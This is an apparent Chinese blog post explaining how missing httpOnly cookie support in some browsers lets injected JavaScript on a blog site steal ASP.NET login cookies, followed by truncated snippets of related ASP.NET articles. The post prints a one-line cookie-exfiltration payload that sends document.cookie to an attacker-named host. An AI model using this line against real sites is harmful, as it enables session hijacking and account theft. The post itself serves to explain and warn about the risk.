一个一直都让人忽略的ASP.NET安全问题.
自从IE6 SP1起 , 这个浏览器就支持cookie的httpOnly属性.
这个属性, 告诉浏览器, 使用 window.document.cookie 不允许访问该cookie .
而在ASP.NET2.0中 , 这个属性也得到了支持, 并且在FormAuthentication中指定该属性.
但是,FireFox等浏览器, 并不支持该属性. 那么这个带来什么后果?
例如 , 假如你用FireFox登录博客园(www.cnblogs.com
), 然后到一个恶意的用户的文章去.
你知道cnblogs.com允许用户随意增加javascript的.
那么该用户就能得到你的cookie,然后用一个简单的方法,把你的cookie发送到他的数据库去:
hiddenImg.src="http://hackyourlogininfo.com/savecookie.aspx?cookie="+escape(document.cookie)
当然,ASP.NET发送给客户端的信息是加密过的.
但是别人可以直接通过伪造COOKIE,直接使用该cookie,以你的身份登录博客园.
所以 - 用FireFox登录博客园类似的网站, 你的帐户信息随时会被盗.
但是如果使用IE6SP1,IE7,就不会存在该问题.
因为它支持httpOnly,所以使用document.cookie并不能取得ASP.NET的登录信息.
相关文档：
本节中的主题描述如何使用 Visual Web Developer 工具箱的“HTML”选项卡上的 ASP.NET Web 服务器控件。
默认情况下，服务器无法使用 ASP.NET 网页上的 HTML 元素；这些元素被视为传递给浏览器的不透明文本。但是，通过将 HTML 元素转换成 HTML 服务器控件，可以将它们公开为 ......
可以使用受保护配置来加密 Web 应用程序配置文件（如 Web.config
文件）中的敏感信息（包括用户名和密码、数据库连接字符串和加密密钥）。对配置信息进行加密后，即使攻击者获取了对配置文件的访问，也可以使攻击者难以获
取对敏感信息的访问，从而改进应用程序的安全性。
针对asp.net 2.0的应用程序的数据库链接字符串� ......
由于用的是VPS主机，不知道啥原因SESSION总是丢失，无奈换Cookies。
查一下MSDN，在ASP.NET有两个COOKIES，Response.Cookies和Request.Cookies，无论用哪个都不行，添加进去后就读取不到
后来发现通过Response.Cookies添加、Request.Cookies读取才行。下面是添加、读取、删除的代码：
//添加
HttpCookie c = ne ......
在ASP.NET页面中经常需要链入一些JS文件,如:
如果在JS里有中文的话,在一般情况下,在浏览器里会报错脚本错误.
如果不信可以自己试一试。
其实是这样的：
由VS.NET自动生成的项目里，Web.Config中有这么一段：
<
globalization
requestEncoding
="utf-8"
responseEncoding
=" ......
